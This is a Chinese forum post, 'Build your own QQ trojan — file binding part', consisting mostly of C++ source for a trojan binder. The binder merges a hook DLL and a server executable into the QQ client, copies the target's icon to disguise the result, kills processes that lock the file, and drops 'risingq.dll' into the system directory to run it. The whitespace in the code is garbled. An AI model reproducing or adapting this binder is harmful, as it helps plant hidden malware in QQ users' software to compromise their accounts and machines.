找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 497|回复: 3

自己动手做QQ木马--文件绑定篇

[复制链接]
发表于 2009-4-13 12:57:00 | 显示全部楼层 |阅读模式 IP:江苏扬州
自己动手做QQ木马--文件绑定篇
2008年06月20日 星期五 上午 00:26
代码如下:
//根据返回值判断是否继续执行本文件
boolCBindFile::Initiate()
{
inti=0,k=0;
DWORDdwErrorCode=0;
DWORDdwFileLen=GetFileSize(hFileMyself,NULL);
//此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件
if(dwFileLen==lenOrigin)
{
//去绑定HOOK.dll
strToBindFilePath="hook.dll";
strFinalFilePath="Server.exe";
lstrcpy(m_Ext,"dll");

if(Bind_File())
{
//成功绑定
MessageBox(NULL,"绑定成功!",NULL,NULL);
}
returnfalse;
}
elseif(dwFileLen==lenOriginAddDll)
{
//去绑定目标文件
//判断本文件是否是server.exe文件
charszName[7]={0};
inti=lstrlen(my_name)-10;
for(k=0;k<6;k ,i )
{
szName[k]=my_name[i];
}
if(0!=lstrcmp(szName,"SERVER"))
{
//自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径
strToBindFilePath="C:\\ProgramFiles\\Tencent\\QQ.exe";
lstrcpy(m_Ext,"exe");
}
else
{
//弹出对话框,等待用户输入
SelectFileToBinddlg;
intnRet=-1;
nRet=dlg.DoModal();
if(nRet!=IDOK)
{
MessageBox(NULL,"Noneinputtogetbindfilename",NULL,NULL);
returnfalse;
}
dlg.GetFilePath(strToBindFilePath);
if(strToBindFilePath.IsEmpty())
{
MessageBox(NULL,"Noneinputfilename",NULL,NULL);
returnfalse;
}
//取得文件扩展名,设置m_Ext
intpt=strToBindFilePath.GetLength()-3;
for(i=0;i<3;i )
{
m_Ext[i]=strToBindFilePath.GetAt(pt);
pt ;
}
MessageBox(NULL,m_Ext,"PRINT",NULL);
}
strFinalFilePath="000000.exe";
//先判断目标文件是否已经被绑定过
HANDLEhDestFile=NULL;
DWORDbytesin=0;
hDestFile=CreateFile(strToBindFilePath,GENERIC_READ,
FILE_SHARE_READ,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);

if(INVALID_HANDLE_VALUE==hDestFile)
{
MessageBox(NULL,"判断目标文件时,该文件不打开失败!",NULL,NULL);
returnfalse;
}
SetFilePointer(hDestFile,GetFileSize(hDestFile,NULL)-4,NULL,FILE_BEGIN);
if(0==ReadFile(hDestFile,buf,BUF_SIZE,&bytesin,NULL))
{
MessageBox(NULL,"判断目标文件时,读取该文件失败!",NULL,NULL);
returnfalse;
}
CloseHandle(hDestFile);
if(4!=bytesin)
{
MessageBox(NULL,"判断目标文件中,读取的字节数不为4!",NULL,NULL);
returnfalse;
}
for(i=0;i<4;i )
{
if((buf[i]!=szFlag[i]))
{
break;
}elseif(3==i)
{
//已经被绑定过,返回
MessageBox(NULL,"目标文件已经被绑定过!",NULL,NULL);
returnfalse;
}
}
//确认没被绑定过则开始绑定
Bind_File();
//如果被绑定的文件不是EXE文件则把它修改成EXE文件
if(0!=lstrcmp(m_Ext,"exe"))
{
DeleteFile(strToBindFilePath);
//修改文件扩展名
CStringstrToBindFilePath1;
strToBindFilePath1=strToBindFilePath.Left(strToBindFilePath.GetLength()-3);
strToBindFilePath1 ="exe";
strToBindFilePath.Empty();
strToBindFilePath=strToBindFilePath1;
}
BOOLbResult;
bResult=CopyFile(strFinalFilePath,strToBindFilePath,false);
dwErrorCode=GetLastError();
if(32==dwErrorCode)
{
//其他进程正在使用该文件,结束该进程
TCHARszFileName_Exe[MAX_PATH];
strToBindFilePath.MakeUpper();
lstrcpy(szFileName_Exe,(LPCTSTR)strToBindFilePath);
if(TRUE==CloseProcessFromName(szFileName_Exe))
{
bResult=CopyFile(strFinalFilePath,strToBindFilePath,false);
dwErrorCode=GetLastError();
CStringstr;
str.Format("躱pyFilesErrorcode%d",bResult,dwError);
MessageBox(NULL,str,NULL,NULL);
}
}
DeleteFile(strFinalFilePath);
returnfalse;
}
else
{
//判断是否是需要HOOK的目标文件
if(IsSpecFileName("QQ.EXE"))
{
//分解HOOK.dll和目标文件
TCHARszSysPath[MAX_PATH];
::GetSystemDirectory(szSysPath,MAX_PATH);
strUnbindFilePath_Dll=szSysPath;
strUnbindFilePath_Dll ="\\risingq.dll";
MessageBox(NULL,strUnbindFilePath_Dll,"PRINT",NULL);
Unbind_and_Run();
returntrue;
}
else
{
//如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行
MessageBox(NULL,"正在运行的不是目标文件",NULL,NULL);
CloneMySelf_and_Run();
returnfalse;
}
}
}
2.Bind_File()
//绑定指定的文件生成一个合成文件
boolCBindFile::Bind_File()
{
HANDLEhFileOut=NULL;//最终合成文件
HANDLEhFileIn=NULL;//待绑定文件
DWORDdwFileInLen=0;//待绑定文件长度
DWORDbytesin=0;//一次输入的字节数
DWORDbytesout=0;//一次输出的字节数
unsignedinti=0,k=0;
BYTE*bufMyself=NULL;

modify_data.my_length=GetFileSize(hFileMyself,NULL);
if(0==modify_data.my_length)
{
MessageBox(NULL,"绑定文件中,自身文件长度为零时出错!","错误",MB_OK);
returnfalse;
}
bufMyself=newBYTE[modify_data.my_length];
if(NULL==bufMyself)
{
MessageBox(NULL,"绑定文件中,分配内存失败!",NULL,NULL);
returnfalse;
}
ZeroMemory(bufMyself,modify_data.my_length);
SetFilePointer(hFileMyself,0,NULL,FILE_BEGIN);
//读取本文件数据
if(0==ReadFile(hFileMyself,bufMyself,modify_data.my_length,&bytesin,NULL))
{
delete[]bufMyself;
MessageBox(NULL,"绑定文件中,不能完全读取自身文件内容时出错!","错误",MB_OK);
returnfalse;
}
if(0==lstrcmp(m_Ext,"dll"))//绑定DLL时定位自身文件大小
{
for(i=0;i<modify_data.my_length-sizeof(modify_data.finder);
i =sizeof(modify_data.finder))
{
for(k=0;k<sizeof(modify_data.finder);k )
{
if(bufMyself[i k]!=((BYTE*)&modify_data.finder)[k])
break;
}
if(k==sizeof(modify_data.finder))//定位并保存自身数据文件大小
{
memcpy(bufMyself i,&modify_data,sizeof(modify_data));
break;
}
}
if(i>=modify_data.my_length-sizeof(modify_data.finder))
{
delete[]bufMyself;
MessageBox(NULL,"绑定文件中,不能定位自身文件时出错!","错误",MB_OK);
returnfalse;
}
}
//如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中。
if(0==lstrcmp(m_Ext,"exe"))
{
Modify_MyIcon(bufMyself);
}
//创建最终合并后的文件
hFileOut=CreateFile(strFinalFilePath,GENERIC_WRITE,
FILE_SHARE_READ,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
if(INVALID_HANDLE_VALUE==hFileOut)
{
delete[]bufMyself;
MessageBox(NULL,"绑定文件中,创建绑定后生成的合成文件时出错!","错误",MB_OK);
returnfalse;
}
//写本文件数据到输出的文件中
WriteFile(hFileOut,bufMyself,bytesin,&bytesout,NULL);
//释放存放自身文件数据的大内存,以后使用buf做缓冲区
delete[]bufMyself;
//打开要绑定的文件
hFileIn=CreateFile(strToBindFilePath,GENERIC_READ,
FILE_SHARE_READ,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);
if(INVALID_HANDLE_VALUE==hFileIn)
{
MessageBox(NULL,"绑定文件中,打开第一个要绑定文件时出错!","错误",MB_OK);
returnfalse;
}
//取的待绑定文件长度
dwFileInLen=GetFileSize(hFileIn,NULL);
if(0==dwFileInLen)
{
CloseHandle(hFileIn);
CloseHandle(hFileOut);
MessageBox(NULL,"绑定文件中,读取要绑定文件时出错!","错误",MB_OK);
returnfalse;
}
//写入要绑定文件的长度到合成文件中
WriteFile(hFileOut,&dwFileInLen,sizeof(dwFileInLen),&bytesout,NULL);
//写入最终分解后文件的扩展名
WriteFile(hFileOut,m_Ext,3,&bytesout,NULL);
//读取待绑定文件数据写入输出文件中
do
{
if(0==ReadFile(hFileIn,buf,BUF_SIZE,&bytesin,NULL))
{
CloseHandle(hFileIn);
CloseHandle(hFileOut);
MessageBox(NULL,"文件绑定中,读取待绑定文件字节大小不符!",NULL,NULL);
returnfalse;
}
WriteFile(hFileOut,buf,bytesin,&bytesout,NULL);
}while(0!=bytesin);

if(0!=lstrcmp(m_Ext,"dll"))
{
//绑定非DLL时写入该文件被绑定过的标志
if(0==WriteFile(hFileOut,szFlag,lstrlen(szFlag),&bytesout,NULL))
{
MessageBox(NULL,"绑定文件中,写入被绑定过的标志出错.",NULL,NULL);
returnfalse;
}
}
CloseHandle(hFileIn);
CloseHandle(hFileOut);
returntrue;
}
这里主要解释一下modify_data,它是一个MODIFY_DATA结构的全局变量,其结构如下:
structMODIFY_DATA{
DWORDfinder;//常量(定位自身)
DWORDmy_length;//文件长度(自身)
}modify_data={0x78563412,0};
因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。
然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方
法是有风险的,可能存在多个finder数据。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 11:35 , Processed in 0.204075 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表